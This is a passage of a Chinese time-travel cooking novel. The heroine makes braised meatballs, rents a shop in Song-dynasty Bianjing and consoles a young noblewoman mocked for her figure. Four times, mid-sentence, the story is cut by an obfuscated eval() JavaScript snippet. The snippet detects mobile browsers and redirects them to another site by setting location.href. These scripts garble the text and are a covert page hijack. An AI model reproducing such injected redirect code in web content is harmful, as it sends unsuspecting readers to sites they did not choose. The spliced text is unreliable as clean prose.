薛荔屏神略想片刻，脑中灵光一现：“有了！” - 灶房之中，炊烟袅袅。 薛荔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659676|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按住案板上的葱姜，快刀切段，分成两堆，一堆捣碎取汁，注入滚水，另一堆切成细末备用。 羊肉虽无，幸而地窖里尚有囤肉。她特挑了一块前腿豕肉，肥三瘦七，拿来做红烧狮子头最是适宜。 薛荔挽起衣袖，露出一截皓白皓腕，又取过锋利的庖刀，按住案上新鲜的前腿肉。支摘窗外透来缕缕暖阳，银亮刀刃斜斜一闪，“嗒嗒”声响起，豕肉便被剁成石榴籽般大小。薛荔又翻动刀背，将剁好的肉糜不急不缓地拢在一起，随即刀刃继续贴着木案飞舞，直将其剁得肉质绵细、软糯如脂，这才停手。 接着，她又将剁好的肉糜与藕碎倒入稍大些的粗陶盆里，拌入黄酒、酱油与蚝油，再打上一颗土鸡蛋——鸡蛋与三分肥肉，此二物都是狮子头肉质松而不散的关键。 做完这些备菜工作，青瓷碗里盛着的热水亦凉下来，薛荔将泡好的葱姜水少量多次地一边搅一边加入，抄起筷子循势搅拌，腕力稳而速。待到肉糜上劲，能裹住筷子而不倒时，再抡起整团肉泥往盆底重重摔去，震得木案“嗡嗡”作响。 姜喜鱼本坐在外头的圆石桌旁对账对得欲瞌睡，这会儿听闻这般大的动静，还以为是灶房里的墙架子倒了，睡眼惺忪，连忙从支摘窗外探进脑袋：“发生何事了？” 薛荔瞧她那副恍惚的模样，笑笑解释道：“什么事也没有，是我在摔肉呢。反复地摔打可以使肉质更为筋道，增添弹性的同时亦不失紧实。” “原来如此啊。”姜喜鱼点头，饶有兴趣地盯着她手里那团肉糜，“可你这劲儿再大些，怕是能将盆都摔裂。” 薛荔轻哼一声：“待会儿吃时你便晓得了。” 摔打完肉后便是定型，她挖来少许猪油抹在掌心防粘，又取四两肉丁拢入掌心，指尖微收，将肉丸轻拢成团。收束时，虎口要留些许气力，使肉丸表面自然裂出细纹，这样一来，肉丸炸好后便会同花骨朵初绽般好看。 薛荔将肉丸团好，又往竹匾底下垫一层浸湿了的荷叶，将丸子码进去。荷叶的清香微透，与肉丸中馥郁的香料香气交缠，光是站在一旁，她便已能想象出入锅之后，它们将如何成就一场味蕾的盛宴。 灶上的铁锅已烧热，薛荔以筷入油试了试温度，待到箸边冒泡，亦是俗话所说的七成热油温时，便缓缓将肉丸贴着锅沿滚入。顷刻间，热油炸开的声音宛如春雨初落，轻柔而簌簌。 “嗤啦——” 金黄的油泡迅速在锅面扩散开来，炙热的油温将肉丸的表层裹挟，翕忽间锁住鲜美的汤汁，丸子的外壳渐渐被炸至焦脆，泛起一层琥珀色的油光。 薛荔用锅铲将肉丸一个个地翻了个身，换一面继续炸熟上色。只见那些丸子在锅里上下翻滚，轻轻碰撞，彼此摩擦出悦耳诱人的“沙沙”声，外酥里嫩似乎已经了然可见了。 不多时，炸好的狮子头被薛荔铲起，堆叠在一旁的沥油架上，香气滚滚，直钻入鼻间。 11. 春日暖新铺 肉香混着脆藕的清新气息直往支摘窗外溜，诱得伏在窗槛边的姜喜鱼垂涎三尺。 “好香！这便开饭么？”姜喜鱼的手忍不住往装得满出个小山尖的炸肉丸山上伸去。 薛荔微微一瞄，眼疾手快地一筷子敲在她手背上：“这才第一步呢，急什么？” “谁叫你炸出来的太香了嘛。”姜喜鱼缩回手，揉着手背，苦兮兮地咽了口口水。好事多磨，好食也多磨嘛，她只好如是劝慰自己腹中的馋虫。 薛荔眸底含笑，轻轻摇了摇头，将方才炸狮子头未用尽的油沉淀滤净后倒入小碗中。虽说这炸过东西的油最好莫要反复使用，但现如今油价亦不算便宜，她还欲盘间铺子呢，凡事还是省着些来得妥当。 她从小碗中舀出两铲油回锅，再添入葱姜、八角、桂皮爆香，而后“呲啦”加入一碗清水、一勺匙耗油、酱油与蔗糖，待汤汁翻滚出醇厚的色泽后，才将炸好的狮子头一一放入。 “咕嘟、咕嘟——”汤汁翻腾，肉丸在其中悠闲晃动，被酱料温柔万分地裹挟起来，每一寸肌理都浸润着红烧的滋味。随着火候渐深，汤汁渐渐浓稠，狮子头的表面浮上一层红亮的油光，熠熠生辉，仿若一块上好的和田红玉，晶莹润泽。 待焖煮一刻钟后，薛荔将肉丸盛出，挑去辛香料，再加水淀粉为汤汁勾芡，给肉丸表面淋上薄薄一层芡汁。最后，撒上一抹青翠葱花，更衬得这一盘红烧狮子头鲜艳欲滴，教人食指大动。 姜喜鱼早已按捺不住，眼巴巴地望着薛荔，在后者失笑着颔首后，立刻抄起筷子夹了一颗，放入口中，迫不及待地一咬。肉馅里滚烫的汤汁瞬间迸发，醇厚鲜美，酥嫩化渣，藕碎的脆嫩在唇齿间完全绽放，亦与肉糜的柔软细腻交织缠绕，仿若一场极尽惊艳的味觉盛宴。 好半晌过去，姜喜鱼都说不出话，只眯着眼，满面沉醉。 薛荔瞧她这副模样，轻笑问道：“怎么样，这顿开伙饭可还好吃？” 姜喜鱼猛地点头，两腮鼓着热腾腾的狮子头，眼睛发亮，含糊不清地感叹道：“阿荔，跟你搭伙，实在是人间一大幸事！” 薛荔捂嘴轻笑。 初春日暖，食足困人。 姜喜鱼饱餐一顿，心满意足地捂着圆滚滚的肚皮，一歪身子便倒进竹编藤椅里，，懒洋洋地躺着，舒服得直打饱嗝。 方才她一连吃了七八个红烧狮子头，又就着碗底剩下的浓稠酱汁拌了一大碗米饭，如今肚中饱饱，浑身泛着暖意，正是最容易犯困的时候。 她随手抽出屁股底下压着的蒲扇，往脸上一搭，嘴微张着，便打起瞌睡来。 迷朦之间，只觉春风和煦，酥酥暖暖，似乎连骨头都轻了几分。眼瞅着周公即将入梦，不曾想，耳畔忽地炸起一声清脆的话音——“醒醒！喜鱼，莫贪睡了，快起来！” 姜喜鱼浑身一激灵，险些从藤椅上翻下去，踉跄地拄住扶手，迷迷瞪瞪地睁开眼，困倦未消，茫然四顾。 “呃！出何事了？”她嘟囔着，睡眼惺忪地望向薛荔。 “不是早同你讲好了么？吃过午饭，你得陪我去街上相看铺面。”“罪魁祸首”薛荔站在廊下，手里挎着一只竹篮，靛蓝布巾微微敞开，露出一抹红彤彤的林檎果。 她将篮子抬了抬，眉眼含笑：“路上解渴吃的水果我都洗好了，快些收拾，咱们就出发。” 姜喜鱼叹了一口气，揉了揉圆滚滚的肚皮，苦唤连连，但又耐不住薛荔一双水灵灵的眼眸盯直着自己，终究是挣扎着翻身，艰难上路。 - 城西街头，人潮熙熙攘攘，车马往来不绝。街道两旁，酒肆、茶坊、绸缎庄林立，雕梁画栋间透着一股富庶之气，偶能听得食肆中的小厮扯着嗓子吆喝： “新出炉的豌豆黄——又香又嫩，客官尝一尝嘞！” 薛荔与姜喜鱼缓步穿行在人群中，一边避让挑着担子的商贩，一边四处张望，寻摸着合适的铺面。 “阿荔，你说咱们该租个多大的铺子才好？”姜喜鱼咬着一串糖葫芦，含糊地问道。 薛荔低头思忖片刻，道：“太小了不好施展手脚，太大了又要多花银子……左右得有个能摆几张桌子的前堂，后头还得带个灶房。” “你说得倒轻巧，这兴国寺地界儿虽不比大相国寺，但也算得上是寸土寸金。”姜喜鱼咂舌，伸手指了指前方，“喏，那家茶馆便是前年转手的，听说光是铺面银就要三十贯，硬是把几个想盘下的东家吓退了。” 薛荔顺着她的手势看去，只见那茶馆门楣高阔，朱漆泽亮，显然是上好的铺面。 她心知这等好位置确实超出自己的能力范围，便不作多想，继续仔细打量沿街店铺，暗自盘算各处优劣。 二人一路走走停停，问了几处，不是租金过高，便是地段偏僻，人流不旺。 眼见着薛荔篮中的果子都已啃完，二人再无吃食，皆口干舌燥，正打算寻家铺子买两盏梅子饮，忽见街口拐角处，一间旧铺前悬着一方半新不旧的布幡，墨迹略淡，上书二字——“待租”。 姜喜鱼眼前一亮，转头与薛荔对视一眼，二人皆眸底含笑，她快步上前，抬手叩门，片刻后，内里走出一名年约四旬的东家，眉眼间透着几分精明。 “二位可是来问铺面的？”那东家打量了她们一眼。 “正是。”薛荔微微一笑，“敢问东家，此铺是整租，还是分租？” 东家见她一上来便直入主题，是个利落人，倒也不再绕弯子，面上挂笑侧身引她们入内。 “我这铺面从来只整租。”他伸手指了指，“两位小娘子瞧瞧，前堂宽敞，可作买卖，后头还带一间灶房。虽说不算新，然梁柱稳固，并无漏雨、鼠患之忧。” 薛荔踏入其中，细细察看。这家铺子虽不像街头几家新铺那般光鲜，但胜在结构方正， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659677|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格局通透，且后院竟还带一方不大的天井，若是添置几口大缸，倒能养些鲜鱼活虾，十分便利。 她踱步一圈，漫不经心地问道：“敢问东家，这铺子租金几何？” 东家笑眯眯地伸出指头，比作一个一，又比作一个五。 “十五贯？”姜喜鱼眼皮一跳。 东家不紧不慢地道：“小娘子莫要惊讶，这地段虽不及街心繁华，但胜在客流不断，且后院宽敞，实乃做生意的好去处。” 姜喜鱼轻轻皱眉：“可我方才路过时，见这铺子已空了许久，怎得还要这般价？” 东家眼底闪过一丝尴尬，笑道：“那是因前头租客家中出了变故，急着回乡，这才空缺了一小段时日。不过，这铺子可无任何不妥！” “这怎么与我听闻的略有出入呢？”姜喜鱼瞧着他，缓缓摇了摇头，语气悠然，“据说前些日子，这一带前些时日新开了一家酒楼，生意极旺，旁的几家小食肆都被逼得改行，眼下您这铺面迟迟未能再租出去，莫不是因此？” 东家脸上笑意有些挂不住：“哎，姑娘的消息倒是灵通……” 薛荔在一旁听着，心下暗笑，姜喜鱼素来能言善辩，惯会砍价，三言两语便将铺子的短处挑得明明白白，叫东家处于被动。 她见时机正好，便顺势开口：“东家不如这样，此铺面我们愿意租下，但租金仍得商量一二。毕竟一时半会儿，咱们也不知能否站稳脚跟，若是租金太高，我家铺子营综不下去，亦实难再租你这铺面不是？” 掌柜眼珠微转，权衡片刻后终是道：“既然二位真心想租，我也不是不讲情理的人……这样吧，十二贯，着实不能再降，但我可允你们头两月租金减半，如何？” 薛荔与姜喜鱼交换了个眼色。这地方虽比不上那些黄金铺面，但以眼下的预算而言，已算颇为合适了，于是爽快应下。 掌柜见她们应得干脆，终于是将铺子租了出去，心下颇为痛快，亲自引她们去签下契约。 待到落印成契，迈出新铺面，薛荔长舒一口气，转头笑问道：“阿鱼，你这砍价的本事，究竟是如何学来的？” 姜喜鱼眉梢一扬，轻拍她肩头：“人在江湖，银子哪能这般轻易撒出去？你多修炼，他日说不准砍价比我还狠。” 薛荔莞尔。 她仰头，迎着春日下午的柔光，见房东郎君将先前悬挂于门前的“待租”布幡揭下。金灿灿的光束洒落红漆木柱上，温暖又充满希冀，使她心底亦隐隐生出几分期待。 这一回，她定要将生意做得风生水起！ - 汴京四月，雨后初晴，街巷间泥土的湿气尚未散尽，昨夜残余的雨珠自瓦檐凹处一滴滴坠落地面，砸出一洼小水坑。涟漪漾开过后，水面归于平静，倒映出一位俏丽小娘子的绯罗裙裾。 那位绯罗襦裙的少女穿行在人群间，眼眶泛红，神色恹恹。 12. 灼玉.乳酪糕 她的身量匀称，眉目姣好，是一位活脱脱的美人儿，只是气色略显苍白，脚步也有些飘忽。 绯裙的小娘子沿街四下张望，似是在找寻什么，好一会儿后，终是在一家卖山楂糕的摊前停下。 “……来、来一份山楂糕。”齐悦虚捂着腹，有气无力道。 摊主虽不识一丁，但观这小娘子模样清贵，衣着也不俗，心知是贵人买卖，不敢怠慢，忙将切好的山楂糕用荷叶包好，妥妥递到她手中。 齐悦接过糕点，却没急着吃，而是托在手中，略显犹豫而无奈地瞧着它。 自昨夜扬言绝食起，她便再未进一粒米粮，方才在府中又为婚事与兄长争执，二人闹得不欢而散。这会儿她已空着肚子走了许久，胃里如火烧一般难受，只觉头昏眼花。但心中又倔强得很，咬着牙不肯服软，想着买些山楂糕，或可利于消食，助自己的身材更纤条些。 齐悦捧着山楂糕咬下一小口，嘴中酸涩，心中更是酸楚，渐渐为自己难过起来。 她堂堂京师贵女，宁武侯嫡亲胞妹，自小到大锦衣玉食，要何稀奇珍宝没有，偏心悦的郎君拿不到手。 若那男子是寻常人家的倒还好办，大可叫她兄长差人绑来成亲便是，可那人偏偏乃户部尚书家的幺子——邓侨。 他早知家中已为己选好了亲事，却仍对她言笑晏晏，暧昧不明，亏她还以为他真心恋慕自己！ 上回赏花宴相见时，她听闻他不日将成亲之事，伤心欲绝跑去质问。本连，“我知你身不由己，乃家中所迫”云云的悲情话都打了腹稿。 谁料，那邓侨将她上下打量一番，讥笑着道：“我钦慕你？呵，齐悦，你瞧瞧你，既无那杨柳细腰，又无那三寸金莲，唯皮肤白净些，且还堪看得过去，我放着自己家柳腰莲脸、百媚千娇的表妹不娶，凭何要娶你？” 这话如一盆冷水浇下，将她所有的情意生生浇灭。 回想至此，齐悦反复咀嚼着口中的山楂糕渣碎，心头一阵刺痛，又伤怀掉下几滴泪来。 她自认生得不差，性情虽骄些，但也非不讲理之人，好歹也是名门闺秀，怎就得遭他如此羞辱？ 呸！邓侨这泼才！薄幸郎！登徒子！狗彘！ 除开一张好皮囊，其他甚么也没有！ 齐悦蹙眉瞪着手中的山楂糕，似是瞧见那负心汉邓侨的嘴脸，朝它狠狠咬下一口——哼，有眼无珠的狗贼，娶不到本娇娘乃是你这辈子不赀之损！ 她狼吞虎咽下口中的糕点，只觉腹中酸水愈发多起来，胃里饿得似要缩成个球。酸痛难忍之间，一缕异香悄然钻入鼻端。 那香气不同于寻常糕点的甜腻，反而带着一股焦炙后的奶香，乳酪的浓郁中且又裹挟着米酒香的清香，诱人得紧。 齐悦猛地一抬首，鼻尖微微耸动，循着香气望去，见是西大街新开了一家食坊，门楣上悬着一块朱漆匾额，上书五字——“薛记珍味铺”。 - 新店铺的位置距先前薛荔支摊的地儿不远，且在铺面开张前，她仍去老地方摆了一日的摊，告知来买吃食的新老主顾们新店铺的位置，并言道开张之日，云酥包有买五赠一之惠。 正因如此，“薛记珍味铺”开张的第一个清晨，薛荔与姜喜鱼二人可谓是忙得连水都未顾得上饮一口。 好不容易度过了最忙的卯时、辰时，薛荔歇息半晌，又来研究新吃食。 “阿荔，这牛乳好生价贵，当真要拿来做糕点？”姜喜鱼边啃着手中的笋肉云酥包，边凑在一旁眼神惋惜地瞧道，“咱俩将它饮了多有营养。” 薛荔一边将发酵好了的乳饼捣碎研细，一边添着饴糖同她道：“喜鱼，咱们以后可是要打响名气的，可不能在原材料上抠搜。那些个贵人们什么山珍海味没吃过？食材好不好、鲜不鲜，他们的刁舌头一碰便可尝出。” “唉呀，我知我知，只不过心中有些肉疼嘛。”姜喜鱼瞅着薛荔又打了五个鸡蛋，将蛋黄与蛋清分次加入，显得繁琐极了，“若不是昨日在北方商队里碰巧遇见我大师兄，托着他的方便以三十文好价买下牛乳，只怕昨日咱们的荷包是要遭殃了。” “是是是。”薛荔笑着，又将石磨磨细了的麦粉倒入，加半盏米酒，以替代价贵的黎朦汁去腥，拿起大勺，将盆中的所有原材料搅拌至顺滑如膏，“正是因为咱家阿鱼在北方的商队里都有人脉，咱们卖的这灼玉.乳酪糕才能比别家的糕点更为划算不是？” 姜喜鱼被她夸得面色一赧，低囔道：“那倒也是......” 话说回来，这“灼玉.乳酪糕”名儿听上去高端贵气，实则也就是现代吃的巴斯克蛋糕，薛荔亦是昨日瞧见北方商队中有售卖乳饼，才想起这道甜品。 宋代中原地区乳酪稀缺，主要依赖于北方商队，或是同西夏、辽国等边境贸易，贵族庄园自产的都极少，实属奢侈品。 她早有耳闻，饶是宫廷中采买的一种类似乳酪的酥酪，每斤都需一百文到一百五十文不等，而市售乳酪因运输和加工成本更高，她们这等平头小百姓去买，若能以二百文拿下一斤，都算是好价哩！ 但若买回牛乳，拿回家自己加工，煮沸后加入米醋搅拌均匀，待牛乳成絮状后倒入纱布中，上压重物过滤一夜，不就成奶酪了么？ 花两百文买小小一斤乳饼，薛荔舍不得。但花三十文买下一升牛乳，她只想批发进货。 薛荔半蹲在窑炉前，瞧着炉膛内的火势，待窑炉差不多预热好，便将巴掌大小的陶罐内壁刷上油防沾，把丝滑细腻的膏浆倾入其中。再拿大长铁盘一端，轻震盘子，将罐中气泡震散，最后通通送入炭火窑炉中烘烤。 “喜鱼，再添些柴火，这火候得再旺些。”薛荔蹲下来，观察窑炉下的火势，心底估摸着热温。 烤巴斯克蛋糕须高温快烤，换到古代，窑火猛炙半刻，熄火焖两刻即成。 姜喜鱼应声，拿来一捆枯柴，三两下塞入炉下，拉起风箱猛鼓两下。炭火瞬时腾起，炽烈火光映得她脸颊微红。正得意间，一股灰渣猛地扑面而来，熏得她连连后退，挥手驱尘：“呸呸呸！呛死老娘了……阿荔，你且快去前头吃午膳罢，这儿有我守着！” “那你可得盯紧些，莫让火小了。” “包在我身上！” 薛荔掩唇轻笑，拍了拍裙摆，转身步入前堂铺中，从蒸笼里拿出个煨着的云酥包来吃。 亏得她藏得紧实，不然这包子险要被对门绸缎铺楼上住着的王二娘子硬生生买去。 薛荔慢悠悠地咬了一口，这包子外皮软糯，内馅鲜香流汁，美得教人舔唇咂嘴。 她倚在柜台旁，细嚼慢咽地享受着鲜美滋味，一面悠闲地瞧着街市百姓安宁喜乐之景。措不及防地，一位面容姣美的小娘子闯入视野内。 那位襦裙绯红的小娘子手捧街边刘二狗摊上卖的山楂糕，肤色虚白，蛾眉微颦，配上她忧郁的一双眼瞳，简直一副羸弱西施模样，惹人怜惜。 薛荔方欣赏着，想着是否要上前开解开解她的心事。下一刻，却见那扶风若柳的美娇娘恶狠狠地朝山楂糕猛咬一口，磨牙凿齿，似要将那糕点啮得粉碎。 薛荔：“！！！” 那刘二狗家的山楂糕她亦尝过，哪能真硬成这般？ 薛荔眼见那小女娘边咽着糕点，尔后，竟两行清泪扑簌簌自颊畔滑落，泣不成声。 莫不成几日未尝，那刘二狗做的山楂糕非但硬如磐石，且还难吃得教人心酸了？ 薛荔只瞧着那小女娘一边哭，一边吃手中的山楂糕，百思不得其解——这究竟是好吃还是不好吃呐？ “出炉了出炉了！” 后堂传来姜喜鱼的欢呼声。 她双手各隔着厚巾，小心翼翼地捧着长铁盘疾步而来，满面生花。 “阿荔快闻！当真是香极了！” 薛荔回过神来，只见姜喜鱼把托盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659678|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往桌上一搁，每一只陶罐上都冒着袅袅热气。 “眼下可以尝否？”姜喜鱼的两眼直放光。 薛荔如是回道：“这灼玉.乳酪糕呀，得冰凉了后吃才好吃。” 姜喜鱼长叹一声，双眼睁得圆圆，且湿漉漉地瞅着她，薛荔心底一软，干咳两声，改口道：“不过么，热吃也另有一番滋味，可尝到其中流心，咱们先尝尝也未尝不可，亦是便于我及时完善配方嘛。” “好耶！”姜喜鱼欢呼。 二人各抄了勺，取两罐灼玉.乳酪糕品起来。 姜喜鱼前半生从未吃过这般色香味俱全的甜品，表层焦黄诱人，内里绵密湿润，乳香、甜香、淡淡酒香交织回转，甜而不腻，入口便化，且还有流心质地，此刻已摇头晃脑，满足地眯起眼。 薛荔则不同，前世她身为美食主播，常出甜品测评合集，吃过的巴斯克蛋糕没有成千也有上百。 她一面品尝，一面细细琢磨口感。虽是遵循前世记忆调配而成，然而宋朝食材受限，这个配方里未加奶油，筛粉亦不够精细，是以糕体切面略显粗糙。若能有更细密的竹筛便好了，口感便能再升一层…… 但粗糙归粗糙，这乳酪糕与宋朝其他美食相比，已算是很细腻了。不然，姜喜鱼也不会每舀起一勺送入嘴中，细细呡化后都要发出一声长长的赞叹。 如是思索着，薛荔的心神渐已开始想，下回该尝试做些什么其他口味的巴斯克蛋糕。 ——抹茶？开心果？栗子？咸蛋黄？麻薯？ 一旁的姜喜鱼三下五除二便将一罐灼玉.乳酪糕消灭干净，连罐子边角亦不留残渣。她舔了舔勺柄：“不过，阿荔，这乳酪糕的原料里，光是牛乳咱们便已花了三十文，该定个什么价才好？” 对欸，这倒是个大问题。 薛荔心下盘算起来，成本大头乃牛乳，一升三十文，约可做出半斤奶酪，而土鸡蛋、麦粉、饴糖、米酒之类的材料，分摊到八罐乳酪糕上倒也不算贵。 宋朝高端甜点溢价约有百分之八十，若要取个合理的值......薛荔略作思量，最终拍板道：“二十文，咱们卖二十文一罐。” 宋朝甜品溢价本高，“市面上，糖霜荔枝膏能卖两百文一份，蜜渍樱桃亦得一百五十文一碟，咱们这灼玉.乳酪糕中用了这么多牛乳，一罐卖二十文不算过分。” 虽是这般振振有词地念着，可薛荔却忽而觉得，自己竟然像极了现代不好惹三巨头之私房烘焙的主理人，真轮到自个儿做生意时，总是恨不得将铺面租金费、水费、柴火费等，凡是带个费字的，都给它算进成本里。 她悻悻地摸了摸鼻尖，宽慰自己道——好歹她还是有铺面，要付租金的。且宋朝材料稀缺，她将牛乳价格计入成本时，也是计的三十，而非五十的市价，光奶酪这一原材料她便得自己费劲儿调配，二十文一罐，着实已经是良心价了。便是对照现代，在魔都，六寸八切的巴斯克也有卖四十五元一份的，更何况，她现在是在经济繁荣的大宋都城汴京做生意呢？ 薛荔在这边愧疚，另一旁的姜喜鱼却坦然道：“就这价钱，值得咱辛辛苦苦地卖么？” “光是拉风箱这活儿，我便拉了整整一刻钟，手酸脸脏的，咱多赚点又如何？” 薛荔忙劝住：“这还只是原味乳酪糕，经典款的价钱不宜过高，待到日后咱们研制出新口味，到时再适当加价也不迟。” “阿荔，你居然还会做别的口味？”姜喜鱼一听还有新口味，喜上眉梢，“是鸡头酿糖的，水晶皂儿的，还是香糖果子的？” 薛荔一听这稀奇古怪的口味，只觉两眼一黑。这些东西要真做进了巴斯克蛋糕里，又该会是何种天马行空的黑暗料理？ “这个不急，咱们先将原味的卖一段时间再看。” 二人正规划着珍味铺的锦绣前景，薛荔眸光流转，只见方才那位襦裙绯红，打扮不俗的小女娘缓步朝店铺这头来。 13. 铁齿薄幸郎 她眼底一亮，盈盈一笑招呼道：“小娘子可是被我家甜点的香气勾来了？正巧，今日有新品出炉，小娘子又是头一个遇上的，待我赠你一尝。” 齐悦见这铺主薛小娘子热情似火，朝自己笑时，嘴角的两个梨涡甜甜挂着，眉眼间净透着活泼灵气，丝毫不因她面上的冷淡而收敛笑意，反倒大大方方地取了一陶罐甜点，递到她面前，霎时怔了怔。 薛荔见她并未立刻伸手去接，眨了眨眼，忽地凑近几寸，目露关切：“小娘子脸色怎如此煞白？莫不是身子不适？” 齐悦看着近在咫尺的明艳脸庞，耳根一热，忙别过脸：“我不是来你家吃甜点的，我是在寻消食的酸杏脯！” “噢，原来如此。”薛荔欣然笑笑，配合她道，“看来，小娘子方才那包山楂糕，怕是还不够消食。” 齐悦一惊，神色有些忸怩：“你、你都瞧见了？” “为何瞧不见？”薛荔大方道，“小娘子生得皓齿朱唇，花颜月貌，饶是我想不注意亦难罢。” 似是被她这番话戳中什么，齐悦鼻头一酸，泪珠子啪嗒砸在案面的青瓷碟上，迸成碎玉：“可分明还有人嫌我难看......” 好端端的一个小女娘，竟忽而哭成个泪人。 薛荔与姜喜鱼面面相觑。 “这可咋办才好？”姜喜鱼愁得直抓耳挠腮，“我不会安慰人呐！” “莫慌，我来！”薛荔拍拍胸脯，挺身而出，干脆将齐悦拉进店里坐下。 两人对她好生一番安慰过后，两人方将她伤心缘由了解了个大概。 “那五郎算什么东西！”姜喜鱼听罢，愤愤拍桌，震得桌面上的瓷碗茶具哐当猛响，吓得一旁将灼□□酪糕吃得正欢的齐悦掩住嘴，嗖了个嗝。 薛荔淡然点头：“五郎若是君子，便不会对齐小妹的体貌评头品足了。” “且他还玩弄你的一片真心！”姜喜鱼气道，“这种男子，饶是谁家女娘嫁了都是倒八辈子血霉。齐小妹，你家中耶娘可知此事？这种委屈断然不能白受，咱定要教那五郎吃不了兜着走！” 因自家兄长威名在外，先时齐悦不便自报家门，只好以邓侨在家中的排行替代其名，眼下见素昧平生的二人为自己打抱不平，甚有义愤填膺之势，心中不免泛起暖意。 “其实，家中兄长早一开始便劝过我，说五郎的父亲心术不端，我若同他在一起，日后免不了吃苦受罪。”她低头轻声道，“可......可我没能听得进去。” 可不是么。早在发觉这事的苗头时，齐恂便告诫过她，户部尚书有私贪军饷之嫌，且结党营私，在朝堂上与他屡屡作对，其子邓侨不得不防。可她那时为士所耽，将他的叮嘱全然付作耳旁风。 幸而万幸，犹可说也......齐悦后怕地宽慰着自己。 “你阿兄说得不错，歹竹出歹笋，这种人，实在不可与之为伍。好在你如今识清他真面目，亦不算晚。”薛荔赞道。 齐悦朝她感激一笑，埋头又舀了一灼□□酪糕，送入嘴中。 糕体温热而柔软，含在口中时，先漫出焦糖般的醇香，几乎是舌尖轻轻一碰，流心内陷的奶香与蜜甜便会盈满口腔，绵密细滑，甜而不腻。 腹中的酸水一扫而空，取而代之的是一阵暖意，可她却又没由来地红了眼眶。 姜喜鱼见她眼尾逐渐洇开一抹薄红，不由得再度着急起来：“你怎地又哭了？莫非是这灼□□酪糕不合你胃口？不会罢？” 她吃着可觉得惊为天人哩！ “不不.....”齐悦深吸口气，嗓音微哑，“正因它味美过甚，我才忍不住感伤。” “好吃的东西日日皆有。”薛荔眉眼弯弯，将手拊在她手背上，“你若喜欢，我明日也给你留一份便是。” 齐悦却仍是摇头，委屈道：“糕点虽香甜，可吃多了总会胖人，我若也想要杨柳腰，便只能少吃些。” “齐小妹，你怎还将那负心汉的话放在心上？”姜喜鱼恨铁不成钢地叹了口气，抬手指向铺外，“瞧见对面荤素从食店门前坐着的金三娘子了吗？她那腰细得跟杨柳枝似的。但你可知，曾经的她为求心上人欢喜，硬生生饿得在自己的婚宴上厥了过去？结果呢，心上人是成了夫婿不假，可整日里却只盯着勾栏瓦舍里的丰腴歌妓看，连个正眼也不愿施舍给她。为了个花心薄情郎，把自己的身体折腾成那样，何苦啊？” “但......我见汴京城中的世家贵女大多如此呀。”齐悦被说得有些动摇，眼眶里覆着一层薄薄的泪，“你是不知，她们为了身形纤细，日日束腰约束，稍多吃一口肥腻之物，都会催贴身女使帮忙吐出。” 姜喜鱼听得愣住，忍不住倒吸一口凉气：“竟有人对自己这么狠心？” 齐悦嗫嚅着点了点头。她又何尝没试过？只不过终究没能坚持下去就是了。否则，也就不会听到邓侨那番冷言冷语了。 薛荔听着，不由颦起眉来，眸底浮起些许复杂情绪——前世的她为保持身材，也曾做过同样极端的事，结果显而易见，对身体健康十分不友好。 不然，如今自己又怎会出现在这里？ 咦！ 说不定老天爷让她碰见齐小妹，亦是想给她个良机，拯救过去的自己呢？ 思及此，薛荔叹了口气，伸出指尖，以帕子轻柔揾去齐悦两颊未干的泪珠，语调温缓：“你若是为了自己而想瘦些，那倒也无妨。可若只是为了旁人几句话，就把自己的身子折腾成这样，那可就不值当了。” “或许……我就是觉得有些不甘。”齐悦垂下眸，恹恹地握着手中瓷勺。 “不甘心，就更不该委屈自己。”薛荔瞅着她，语气坚定，“既然世人总爱评判女子身材，那便更该由女子自己来决定要胖要瘦，而不是由无关之人指手画脚。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659679|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着，顺势从齐悦手里接过勺子，自陶罐里挖出一大勺奶芙芙的糕体，朝她轻晃了晃。 “就像这灼□□酪糕。”薛荔将勺子凑到齐悦唇边，“有人嫌它过于甜腻，对其不屑一顾，也有人觉它香甜可口，纵使长胖也甘之若饴——食物自有其味，亦贵在本味，强扭旁人尝其滋味反倒糟蹋，倒不如各随所好，何苦相强？” 